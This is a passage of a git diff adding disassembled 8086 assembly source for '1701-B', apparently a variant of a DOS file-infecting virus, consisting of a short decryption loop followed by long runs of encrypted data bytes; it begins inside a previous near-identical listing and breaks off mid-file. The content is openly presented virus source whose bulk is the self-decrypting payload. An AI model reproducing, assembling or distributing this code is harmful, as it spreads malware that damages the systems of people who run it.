92h,0C3h,0ECh, 47h, 49h,0A4h + db 0F3h,0D8h, 7Dh, 75h,0AAh,0EFh + db 4Dh,0E2h,0E3h,0C8h, 6Ch, 65h + db 0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h + db 42h,0C2h, 3Fh, 2Fh, 56h, 3Dh + db 03h, 77h, 14h,0B9h,0FEh, 46h + db 3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h + db 73h, 11h, 44h,0B7h, 97h,0E9h + db 94h,0F4h + db 19h,0F0h,0E9h,0DCh, 79h, 71h + db 0A0h,0F3h,0DCh, 31h, 61h, 90h + db 0C3h, 95h, 7Eh,0E3h,0F7h, 03h + db 0EFh, 79h, 31h,0ADh,0D8h, 7Bh + db 75h, 8Fh,0EFh,0CCh, 6Eh, 61h + db 85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch + db 32h, 49h,0FEh, 12h, 73h,0B3h + db 0CDh,0CDh,0F7h, 9Dh, 07h,0FFh + db 80h,0DEh,0DCh, 87h,0E6h, 77h + db 8Bh,0F6h,0DCh +loc_14: + into ; Int 4 on overflow + db 9Bh,0EFh, 63h, 9Bh,0E0h,0ABh + db 0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh + db 0BBh, 86h, 45h, 76h,0B5h,0C2h + db 4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h + db 45h,0C4h,0E4h,0F6h,0D0h, 7Bh + db 0C4h,0EFh,0EEh,0C4h, 69h,0F0h + db 0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h + db 0D4h, 30h,0F0h,0F2h,0F2h, 43h + db 25h,0D2h, 48h, 43h, 05h,0EAh + db 47h, 80h,0CBh,0A1h, 46h,0A6h + db 7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h + db 1Dh,0E0h,0F1h,0B5h, 6Fh, 51h + db 20h,0F5h, 79h, 01h + db 4Fh + db 57h,0F4h, 33h, 3Dh, 66h,0C4h +loc_16: + dec bx + dec cx + mov dl,0C0h + lahf ; Load ah from flags + add ax,7EDCh + jns loc_14 ; Jump if not sign + db 0F3h, 7Fh, 61h,0C4h,0E3h, 11h + db 42h,0C8h, 6Eh,0ECh,0D8h,0EEh + db 0BFh, 7Ch, 33h,0D0h + db 7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h + db 80h + db 86h, 82h,0D8h,0A8h, 02h,0FCh + db 0F3h +loc_19: + div byte ptr [bp+di+377Ch] ; al,ah rem = ax/data + lock jmp $-211h +sub_1 endp + + db 6Bh, 51h,0C8h,0E3h, 51h,0EEh + db 0F3h, 4Bh, 53h,0F0h, 0Eh, 01h + db 6Ah,0C8h, 4Fh,0C4h, 42h,0C4h + db 92h + db 9 + db 0E0h, 09h,0F4h,0DEh,0F6h,0F6h + db 0F2h,0DCh, 62h,0E0h,0F4h,0E2h + db 0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h + db 0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h + db 11h,0BBh, 19h,0B9h, 87h, 07h + db 0CEh, 22h,0E7h,0FCh,0F2h, 46h + db 0DCh, 3Bh,0D3h, 73h, 17h, 2Ah + db 0E5h, 95h, 83h, 92h,0C8h, 63h + db 17h, 52h,0F5h, 87h,0ABh,0E8h + db 4Ah,0DAh,0FBh, 03h,0E3h,0ECh + db 4Fh,0D8h,0F9h,0C3h,0E0h + db 42h + db 0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h + db 54h,0CCh,0E5h,0ECh,0F9h, 2Bh + db 0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h + db 0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh +loc_22: + jl loc_19 ; Jump if < + hlt ; Halt processor + mov dl,6Ah ; 'j' + dec word ptr ds:data_55e[si] + out 1Eh,ax ; port 1Eh ??I/O Non-standard + jc loc_22 ; Jump if carry Set + mov dl,0C0h + dec bp + mov sp,0C8E3h + inc bp + and bl,0C0h + sub sp,si + xchg ax,si + div di ; ax,dx rem=dx:ax/reg + db 0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h + db 0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h + db 7Eh,0F4h + db 0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh + db 58h, 5Fh,0E0h,0E8h,0FDh, 2Fh + db 0CFh,0F1h, 49h, 24h, 09h, 1Fh + db 65h, 0Ch, 8Eh,0F2h, 49h, 76h + db 16h, 28h,0FDh, 2Ch, 39h, 0Fh + db 4Dh, 58h,0A3h,0D8h, 36h,0F4h + db 0D9h,0EFh, 6Eh, 28h, 29h,0DAh + db 1Dh, 96h, 1Fh,0D2h,0F2h, 87h + db 1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch + db 94h, 95h, 93h,0C0h,0DCh,0ECh + db 47h,0D8h,0B5h,0F3h,0D8h, 7Ah + db 0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah + db 0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h + db 79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh + db 0AFh,0A0h, 0Bh, 94h,0C5h, 87h + db 0ACh, 0Bh, 80h,0CBh,0F3h, 46h + db 0C9h,0F8h,0EDh, 48h,0C0h,0EFh + db 5Bh,0E1h,0E6h, 2Bh,0C3h, 90h + db 0D9h,0D5h, 33h, 87h,0C5h, 4Eh + db 0F0h,0B0h,0FDh, 07h,0F1h, 10h + db 0Bh,0E7h,0ECh, 61h, 85h + db 0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h + db 46h,0D0h, 23h,0C3h,0CCh, 67h + db 0D8h,0CCh,0E3h,0A3h,0B4h, 87h + db 0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh + db 37h, 48h, 04h, 01h, 76h, 0Ch + db 2Bh, 88h, 37h,0BEh,0F3h,0CDh + db 0Fh, 84h,0F1h, 07h, 5Dh,0E2h + db 0CCh, 66h,0D8h,0CCh,0E3h, 07h + db 9Bh,0FCh,0DCh + db 57h +loc_27: + mov bp,0F7F3h + xchg ax,di + aaa ; Ascii adjust + in al,dx ; port 0C0h, DMA-2 bas&add ch 0 + stc ; Set carry flag + db 0C0h,0E9h + db 0C3h,0B6h, 29h, 76h,0F2h,0B1h + db 0D8h, 33h,0E4h,0B5h,0EFh, 23h + db 0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh + db 0AFh,0EFh, 72h, 03h,0D6h, 00h + db 33h,0D5h,0FAh, 87h, 3Ah, 83h + db 0C5h,0B5h, 4Bh, 4Fh,0AFh + db 0FCh, 37h, 4Ah,0F4h + db 0CBh, 3Fh,0D3h, 9Ch, 50h, 69h + db 3Ah, 5Eh,0E4h,0A0h,0D1h, 27h + db 0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h + db 0F1h,0BDh,0D6h, 7Ah,0C2h, 84h + db 0E8h, 49h,0CCh, 83h,0CFh,0DCh + db 79h,0E0h,0BDh,0F3h, 3Fh,0CFh + db 5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h + db 09h,0CFh, 7Eh + db 4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h + db 0DCh,0C3h, 23h, 70h, 13h, 28h + db 0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh + db 0D8h, 55h,0A2h,0F3h, 5Ah,0AEh + db 58h,0ADh,0E7h, 5Fh,0E1h,0E2h + db 23h,0CFh, 4Ah,0F3h,0A1h,0D8h + db 79h,0E4h, 8Dh,0CFh,0ECh, 49h + db 0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah + db 0CCh, 3Fh,0D7h,0D8h, 79h,0FCh + db 0AFh,0EFh, 14h, 23h,0E1h, 93h + db 0E7h, 14h, 2Fh,0CEh, 87h,0F8h + db 4Eh,0F7h,0B1h,0DCh, 4Bh, 98h + db 0C5h, 83h, 4Bh,0A7h, 9Dh, 85h + db 0D3h,0D1h,0ACh,0A8h,0AFh,0ADh + db 0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh + db 0E8h +loc_33: + stc ; Set carry flag + mov cl,0B3h + mov sp,4BBEh + cmc ; Complement carry + db 0F6h, 4Dh, 86h,0F3h, 31h,0F9h + db 49h, 85h, 38h,0D7h,0C5h, 89h + db 85h + db 2Ch, 05h,0AAh,0E7h,0F1h, 79h + db 0E5h,0B6h,0E5h, 22h, 96h,0E4h + db 11h, 00h, 69h, 2Ch,0B4h,0ABh + db 0A9h,0E9h, 35h,0ECh,0F4h, 58h + db 58h, 52h, 0Dh, 00h,0BEh, 43h + db 03h, 81h,0D6h, 4Ch, 94h,0F7h + db 48h, 9Eh,0F2h, 57h,0E6h,0E2h + db 1Eh, 15h, 43h,0BBh,0BDh,0B0h + db 0E9h,0EDh, 31h,0A0h,0E8h,0A0h + db 78h, 08h, 38h,0E4h, 90h,0C7h + db 70h,0C2h,0C1h + db 0Ch + db 1Fh, 12h,0F1h,0F0h,0ACh,0F3h + db 79h, 1Eh, 18h,0E4h,0B6h,0E7h + db 19h, 6Ch,0FCh,0B6h,0EFh, 86h + db 0E0h, 4Ch, 2Ch,0F1h, 08h, 62h + db 26h, 8Ah,0F7h, 8Fh, 2Eh, 83h + db 0F7h, 79h, 62h, 5Ah,0F3h, 82h + db 0Dh, 5Fh + db 09h,0B4h,0F1h,0BCh, 21h,0B1h + db 0E0h,0B0h,0B1h, 65h, 36h, 78h + db 34h, 00h,0D0h,0A0h,0F3h, 78h + db 0CEh,0C1h, 00h, 17h, 26h,0C1h + db 0C4h, 94h,0CFh, 79h, 0Ah, 00h + db 0F0h,0A6h,0F3h, 11h, 60h,0E4h + db 0BAh,0E7h, 92h,0F0h, 58h, 34h + db 0EDh, 08h, 1Eh, 5Eh,0FEh, 87h + db 0FBh,0A6h, 0Fh, 77h,0F5h,0EAh + db 0AEh, 03h, 76h,0F5h, 85h, 31h + db 58h, 0Dh,0ADh,0A8h,0F5h,0B1h + db 2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh + db 0E3h, 0Ch, 10h,0ABh, 10h, 00h + db 0AFh, 31h,0A2h, 2Ah,0AFh,0F6h + db 0C0h,0E2h, 38h, 24h,0A3h, 96h + db 0Dh,0CEh,0F2h, 82h,0FCh,0CEh + db 0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h + db 0E4h, 1Ah, 21h, 17h, 2Dh,0CEh + db 42h, 84h,0F0h,0CEh, 2Dh,0F9h + db 8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch + db 3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh + db 57h, 9Eh,0F2h,0D5h,0E8h, 8Eh + db 0E2h, 92h, 1Ch,0D1h +loc_37: + sub cx,[bx-7Eh] + db 0F2h,0B3h, 82h,0E3h,0C9h,0F4h + db 0A2h,0CEh,0B6h, 35h,0D9h, 4Dh + db 03h,0F1h, 1Ch, 77h,0FDh,0F2h + db 01h, 07h,0DCh, 51h,0B2h,0EFh + db 21h,0ABh + db 0Dh, 08h + db 24h,0E4h + db 0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h + db 0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h + db 1Ah,0A6h, 5Bh, 00h,0BFh,0F2h + db 49h,0C2h,0E7h, 41h,0F2h,0F4h + db 0BBh, 23h,0F2h,0BFh,0E1h, 66h + db 18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h + db 0A5h,0F7h, 46h,0FDh, 03h,0DEh + db 4Ah,0E4h, 94h,0C7h, 04h,0C4h + db 9Ah,0CFh,0F2h, 35h,0F0h,0AEh + db 0F3h,0F2h, 5Eh,0D2h,0E5h, 96h + db 0D0h, 94h + db 0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h + db 0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh + db 0F5h + +locloop_40: + movsw ; Mov [si] to es:[di] +;* mov dx,offset loc_46 ;* + db 0BAh, 84h,0F0h + mov ax,ds:data_45e + cmpsb ; Cmp [si] to es:[di] + db 0F3h,0F7h, 56h,0A1h,0F3h, 10h + db 2Eh, 14h,0C4h,0B4h,0E7h, 41h + db 80h,0EFh, 4Fh, 96h,0F3h,0CDh + db 0F0h, 90h,0F3h,0B8h,0CDh, 63h + db 0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh + db 45h, 02h,0C1h, 09h,0B1h, 53h + db 90h,0EFh, 3Fh, 02h,0D9h, 1Eh + db 90h,0E1h, 0Bh, 4Eh,0EEh, 72h + db 0FCh,0A1h,0F7h,0F0h, 52h, 5Ch + db 0Fh,0B6h, 02h,0EEh, 4Ah,0FCh + db 88h,0DEh,0AEh,0A1h,0F3h, 42h + db 0F6h, 1Ah,0B0h, 10h, 64h, 12h + db 0Ah, 60h, 18h, 0Ah,0F3h, 11h + db 9Ch, 20h, 1Ah,0EAh, 09h, 80h + db 3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h + db 90h,0C3h, 48h,0C0h, 9Dh,0F3h + db 47h,0F6h, 08h, 34h,0C8h,0D8h + db 0BDh,0E3h, 95h,0B4h, 0Eh, 86h + db 1Ch,0D4h,0C8h,0A4h,0F3h, 83h + db 0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh + db 6Ah, 72h, 78h,0F0h,0BDh, 70h + db 48h,0C8h,0C4h,0A5h,0F7h, 85h + db 0C5h, 06h,0A7h, 1Ch,0D8h,0C0h + db 0B0h,0E3h, 97h,0C0h, 06h, 3Ch + db 0Ch, 85h, 13h, 1Ah, 4Ch, 30h + db 30h, 0Ch, 2Ah,0F0h, 38h, 60h + db 97h,0CFh, 30h, 34h, 72h,0D0h + db 0A1h,0F3h, 0Fh, 10h, 20h, 52h + db 0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h + db 4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch + db 11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh + db 0ECh,0A5h,0F5h, 09h, 58h,0F2h + db 0F0h, 82h,0F5h, 1Bh,0AEh, 11h + db 06h, 69h, 1Ch,0A8h, 92h,0E1h + db 0Bh,0BFh, 11h, 16h, 93h,0D2h + db 0Ah, 14h, 93h, 0Dh,0E0h, 34h + db 0C4h, 91h,0C7h,0CBh,0B7h, 96h + db 0E0h, 72h,0FCh,0A1h,0F7h,0F3h + db 0DCh, 11h,0E0h,0BCh,0E3h, 93h + db 0A3h,0FCh + +locloop_41: + in al,0E0h ; port 0E0h, Memory encode reg2 + db 0F1h,0FCh,0F5h,0A6h,0A5h,0A3h + db 0A0h,0D8h,0D9h,0D7h, 32h,0A6h + db 60h,0A2h, 23h,0EEh, 8Fh,0CFh + db 0CAh,0F2h, 85h,0F1h, 4Ah,0D6h + db 0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h + db 0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh + db 61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah + db 0ACh, 3Bh, 86h, 35h,0E4h,0AAh + db 0CFh, 81h,0F1h, 4Eh, 09h, 0Dh + db 51h, 8Ah,0EFh,0BFh,0BDh,0B8h + db 0BCh,0BBh,0B9h,0B6h,0E9h,0EDh + db 0DCh, 76h,0D0h,0A5h,0F3h,0F0h + db 20h,0FDh, 2Ch, 35h, 07h, 2Ch + db 0F4h, 08h, 59h,0F3h,0FAh, 82h + db 0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h + db 2Fh,0C7h, 67h, 1Bh, 26h,0E9h + db 9Ch,0FFh, 85h,0F3h + +locloop_42: + jbe loc_45 ; Jump if below or = + clc ; Clear carry flag + mov sp,0ECC8h + inc dx + loopnz locloop_41 ; Loop if zf=0, cx>0 + + retn + db 35h, 94h + db 97h + db 0AAh +loc_45: + esc 4,[bx+di] ; coprocessor escape + esc 0,cl ; coprocessor escape + db 0F3h,0E8h,0BDh, 56h,0AAh, 5Dh + db 8Dh,0E2h, 2Fh,0CFh,0B5h, 81h + db 0F1h, 0Fh,0F1h, 31h,0DCh, 48h + db 88h, 82h, 83h, 87h, 08h, 42h + db 8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h + db 0F7h, 4Bh, 57h,0E8h, 12h, 11h + db 46h, 59h,0C5h,0E2h, 5Ch,0CDh + db 0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh + db 70h,0C8h,0E8h,0F3h,0F7h,0E0h + db 0F7h,0CFh, 85h, 88h, 2Ch, 04h + db 7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch + db 57h, 47h,0E4h, 2Bh,0C7h, 7Eh + db 0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh + db 6Bh,0FCh,0EDh, 7Ch,0BBh, 36h + db 0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h + +seg_a ends + + + + end start diff --git a/0-9/1701-B (4).ASM b/0-9/1701-B (4).ASM new file mode 100755 index 0000000..c302c84 --- /dev/null +++ b/0-9/1701-B (4).ASM @@ -0,0 +1,424 @@ + +PAGE 59,132 + +; +; +; 1701-B +; +; Created: 11-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_31e equ 27D1h ;* +data_36e equ 4CD6h ;* +data_39e equ 6950h ;* +data_45e equ 8848h ;* +data_50e equ 0BDF1h ;* +data_53e equ 0CBC7h ;* +data_56e equ 0EA36h ;* +data_59e equ 49F2h +data_60e equ 0B0E0h +data_61e equ 0BCF1h +data_62e equ 0EAEFh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1701-b proc far + +start: + jmp loc_3 + db 39 dup (0) +data_22 db 0 ; Data table (indexed access) + db 30 dup (0) + db 28 dup (0) +loc_3: + cli ; Disable interrupts + mov bp,sp + call sub_1 + +1701-b endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + sub bx,131h + test cs:data_22[bx],1 + jz $+11h ; Jump if zero + lea si,[bx+14Dh] ; Load effective addr + mov sp,682h +loc_5: + xor [si],si + xor [si],sp + inc si + dec sp + jnz loc_5 ; Jump if not zero + db 8Eh,0EBh,0E5h,0BDh, 62h,0F6h + db 0F7h, 06h,0EFh,0EEh,0EEh, 2Fh + db 0C2h,0E6h,0E6h,0E2h,0B1h, 11h + db 0EEh, 02h, 6Ch,0F8h, 36h,0EAh + db 0B7h,0DAh,0D0h,0C0h,0C2h,0C6h + db 0E6h,0C2h + +locloop_6: + mov si,dx + xchg dh,bh + db 60h,0D4h,0ABh, 69h, 96h,0EEh + db 0EEh,0E2h, 0Bh,0A0h,0EFh,0E2h + db 0E2h,0EEh,0EEh,0F2h,0FAh,0F6h + db 0F6h +loc_8: + db 0F2h,0F2h, 30h, 8Ch,0FEh, 8Bh + db 0FAh, 8Fh, 82h, 82h, 8Fh, 8Eh + db 0B9h, 45h,0F6h,0F6h,0F2h,0F2h + db 0EEh,0EEh,0E2h,0E3h, 1Bh, 16h + db 0C2h + db 0C2h,0CEh + db 0CEh, 1Ah,0F2h,0F6h,0ADh, 73h + db 19h, 6Dh,0CFh,0ECh, 4Eh, 49h + db 92h,0C3h,0ECh, 47h, 49h,0A4h + db 0F3h,0D8h, 7Dh, 75h,0AAh,0EFh + db 4Dh,0E2h,0E3h,0C8h, 6Ch, 65h + db 0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h + db 42h,0C2h, 3Fh, 2Fh, 56h, 3Dh + db 03h, 77h, 14h,0B9h,0FEh, 46h + db 3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h + db 73h, 11h, 44h,0B7h, 97h,0E9h + db 94h,0F4h + db 19h,0F0h,0E9h,0DCh, 79h, 71h + db 0A0h,0F3h,0DCh, 31h, 61h, 90h + db 0C3h, 95h, 7Eh,0E3h,0F7h, 03h + db 0EFh, 79h, 31h,0ADh,0D8h, 7Bh + db 75h, 8Fh,0EFh,0CCh, 6Eh, 61h + db 85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch + db 32h, 49h,0FEh, 12h, 73h,0B3h + db 0CDh,0CDh,0F7h, 9Dh, 07h,0FFh + db 80h,0DEh,0DCh, 87h,0E6h, 77h + db 8Bh,0F6h,0DCh +loc_14: + into ; Int 4 on overflow + db 9Bh,0EFh, 63h, 9Bh,0E0h,0ABh + db 0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh + db 0BBh, 86h, 45h, 76h,0B5h,0C2h + db 4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h + db 45h,0C4h,0E4h,0F6h,0D0h, 7Bh + db 0C4h,0EFh,0EEh,0C4h, 69h,0F0h + db 0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h + db 0D4h, 30h,0F0h,0F2h,0F2h, 43h + db 25h,0D2h, 48h, 43h, 05h,0EAh + db 47h, 80h,0CBh,0A1h, 46h,0A6h + db 7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h + db 1Dh,0E0h,0F1h,0B5h, 6Fh, 51h + db 20h,0F5h, 79h, 01h + db 4Fh + db 57h,0F4h, 33h, 3Dh, 66h,0C4h +loc_16: + dec bx + dec cx + mov dl,0C0h + lahf ; Load ah from flags + add ax,7EDCh + jns loc_14 ; Jump if not sign + db 0F3h, 7Fh, 61h,0C4h,0E3h, 11h + db 42h,0C8h, 6Eh,0ECh,0D8h,0EEh + db 0BFh, 7Ch, 33h,0D0h + db 7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h + db 80h + db 86h, 82h,0D8h,0A8h, 02h,0FCh + db 0F3h +loc_19: + div byte ptr [bp+di+377Ch] ; al,ah rem = ax/data + lock jmp $-211h +sub_1 endp + + db 6Bh, 51h,0C8h,0E3h, 51h,0EEh + db 0F3h, 4Bh, 53h,0F0h, 0Eh, 01h + db 6Ah,0C8h, 4Fh,0C4h, 42h,0C4h + db 92h + db 9 + db 0E0h, 09h,0F4h,0DEh,0F6h,0F6h + db 0F2h,0DCh, 62h,0E0h,0F4h,0E2h + db 0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h + db 0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h + db 11h,0BBh, 19h,0B9h, 87h, 07h + db 0CEh, 22h,0E7h,0FCh,0F2h, 46h + db 0DCh, 3Bh,0D3h, 73h, 17h, 2Ah + db 0E5h, 95h, 83h, 92h,0C8h, 63h + db 17h, 52h,0F5h, 87h,0ABh,0E8h + db 4Ah,0DAh,0FBh, 03h,0E3h,0ECh + db 4Fh,0D8h,0F9h,0C3h,0E0h + db 42h + db 0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h + db 54h,0CCh,0E5h,0ECh,0F9h, 2Bh + db 0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h + db 0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh +loc_22: + jl loc_19 ; Jump if < + hlt ; Halt processor + mov dl,6Ah ; 'j' + dec word ptr ds:data_56e[si] + out 1Eh,ax ; port 1Eh ??I/O Non-standard + jc loc_22 ; Jump if carry Set + mov dl,0C0h + dec bp + mov sp,0C8E3h + inc bp + and bl,0C0h + sub sp,si + xchg ax,si + div di ; ax,dx rem=dx:ax/reg + db 0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h + db 0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h + db 7Eh,0F4h + db 0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh + db 58h, 5Fh,0E0h,0E8h,0FDh, 2Fh + db 0CFh,0F1h, 49h, 24h, 09h, 1Fh + db 65h, 0Ch, 8Eh,0F2h, 49h, 76h + db 16h, 28h,0FDh, 2Ch, 39h, 0Fh + db 4Dh, 58h,0A3h,0D8h, 36h,0F4h + db 0D9h,0EFh, 6Eh, 28h, 29h,0DAh + db 1Dh, 96h, 1Fh,0D2h,0F2h, 87h + db 1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch + db 94h, 95h, 93h,0C0h,0DCh,0ECh + db 47h,0D8h,0B5h,0F3h,0D8h, 7Ah + db 0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah + db 0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h + db 79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh + db 0AFh,0A0h, 0Bh, 94h,0C5h, 87h + db 0ACh, 0Bh, 80h,0CBh,0F3h, 46h + db 0C9h,0F8h,0EDh, 48h,0C0h,0EFh + db 5Bh,0E1h,0E6h, 2Bh,0C3h, 90h + db 0D9h,0D5h, 33h, 87h,0C5h, 4Eh + db 0F0h,0B0h,0FDh, 07h,0F1h, 10h + db 0Bh,0E7h,0ECh, 61h, 85h + db 0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h + db 46h,0D0h, 23h,0C3h,0CCh, 67h + db 0D8h,0CCh,0E3h,0A3h,0B4h, 87h + db 0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh + db 37h, 48h, 04h, 01h, 76h, 0Ch + db 2Bh, 88h, 37h,0BEh,0F3h,0CDh + db 0Fh, 84h,0F1h, 07h, 5Dh,0E2h + db 0CCh, 66h,0D8h,0CCh,0E3h, 07h + db 9Bh,0FCh,0DCh + db 57h +loc_27: + mov bp,0F7F3h + xchg ax,di + aaa ; Ascii adjust + in al,dx ; port 0FEC0h ??I/O Non-standard + stc ; Set carry flag + db 0C0h,0E9h + db 0C3h,0B6h, 29h, 76h,0F2h,0B1h + db 0D8h, 33h,0E4h,0B5h,0EFh, 23h + db 0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh + db 0AFh,0EFh, 72h, 03h,0D6h, 00h + db 33h,0D5h,0FAh, 87h, 3Ah, 83h + db 0C5h,0B5h, 4Bh, 4Fh,0AFh + db 0FCh, 37h, 4Ah,0F4h + db 0CBh, 3Fh,0D3h, 9Ch, 50h, 69h + db 3Ah, 5Eh,0E4h,0A0h,0D1h, 27h + db 0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h + db 0F1h,0BDh,0D6h, 7Ah,0C2h, 84h + db 0E8h, 49h,0CCh, 83h,0CFh,0DCh + db 79h,0E0h,0BDh,0F3h, 3Fh,0CFh + db 5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h + db 09h,0CFh, 7Eh + db 4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h + db 0DCh,0C3h, 23h, 70h, 13h, 28h + db 0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh + db 0D8h, 55h,0A2h,0F3h, 5Ah,0AEh + db 58h,0ADh,0E7h, 5Fh,0E1h,0E2h + db 23h,0CFh, 4Ah,0F3h,0A1h,0D8h + db 79h,0E4h, 8Dh,0CFh,0ECh, 49h + db 0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah + db 0CCh, 3Fh,0D7h,0D8h, 79h,0FCh + db 0AFh,0EFh, 14h, 23h,0E1h, 93h + db 0E7h, 14h, 2Fh,0CEh, 87h,0F8h + db 4Eh,0F7h,0B1h,0DCh, 4Bh, 98h + db 0C5h, 83h, 4Bh,0A7h, 9Dh, 85h + db 0D3h,0D1h,0ACh,0A8h,0AFh,0ADh + db 0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh + db 0E8h +loc_33: + stc ; Set carry flag + mov cl,0B3h + mov sp,4BBEh + cmc ; Complement carry + db 0F6h, 4Dh, 86h,0F3h, 31h,0F9h + db 49h, 85h, 38h,0D7h,0C5h, 89h + db 85h + db 2Ch, 05h,0AAh,0E7h,0F1h, 79h + db 0E5h,0B6h,0E5h, 22h, 96h,0E4h + db 11h, 00h, 69h, 2Ch,0B4h,0ABh + db 0A9h,0E9h, 35h,0ECh,0F4h, 58h + db 58h, 52h, 0Dh, 00h,0BEh, 43h + db 03h, 81h,0D6h, 4Ch, 94h,0F7h + db 48h, 9Eh,0F2h, 57h,0E6h,0E2h + db 1Eh, 15h, 43h,0BBh,0BDh,0B0h + db 0E9h,0EDh, 31h,0A0h,0E8h,0A0h + db 78h, 08h, 38h,0E4h, 90h,0C7h + db 70h,0C2h,0C1h + db 0Ch + db 1Fh, 12h,0F1h,0F0h,0ACh,0F3h + db 79h, 1Eh, 18h,0E4h,0B6h,0E7h + db 19h, 6Ch,0FCh,0B6h,0EFh, 86h + db 0E0h, 4Ch, 2Ch,0F1h, 08h, 62h + db 26h, 8Ah,0F7h, 8Fh, 2Eh, 83h + db 0F7h, 79h, 62h, 5Ah,0F3h, 82h + db 0Dh, 5Fh + db 09h,0B4h,0F1h,0BCh, 21h,0B1h + db 0E0h,0B0h,0B1h, 65h, 36h, 78h + db 34h, 00h,0D0h,0A0h,0F3h, 78h + db 0CEh,0C1h, 00h, 17h, 26h,0C1h + db 0C4h, 94h,0CFh, 79h, 0Ah, 00h + db 0F0h,0A6h,0F3h, 11h, 60h,0E4h + db 0BAh,0E7h, 92h,0F0h, 58h, 34h + db 0EDh, 08h, 1Eh, 5Eh,0FEh, 87h + db 0FBh,0A6h, 0Fh, 77h,0F5h,0EAh + db 0AEh, 03h, 76h,0F5h, 85h, 31h + db 58h, 0Dh,0ADh,0A8h,0F5h,0B1h + db 2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh + db 0E3h, 0Ch, 10h,0ABh, 10h, 00h + db 0AFh, 31h,0A2h, 2Ah,0AFh,0F6h + db 0C0h,0E2h, 38h, 24h,0A3h, 96h + db 0Dh,0CEh,0F2h, 82h,0FCh,0CEh + db 0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h + db 0E4h, 1Ah, 21h, 17h, 2Dh,0CEh + db 42h, 84h,0F0h,0CEh, 2Dh,0F9h + db 8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch + db 3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh + db 57h, 9Eh,0F2h,0D5h,0E8h, 8Eh + db 0E2h, 92h, 1Ch,0D1h +loc_37: + sub cx,[bx-7Eh] + db 0F2h,0B3h, 82h,0E3h,0C9h,0F4h + db 0A2h,0CEh,0B6h, 35h,0D9h, 4Dh + 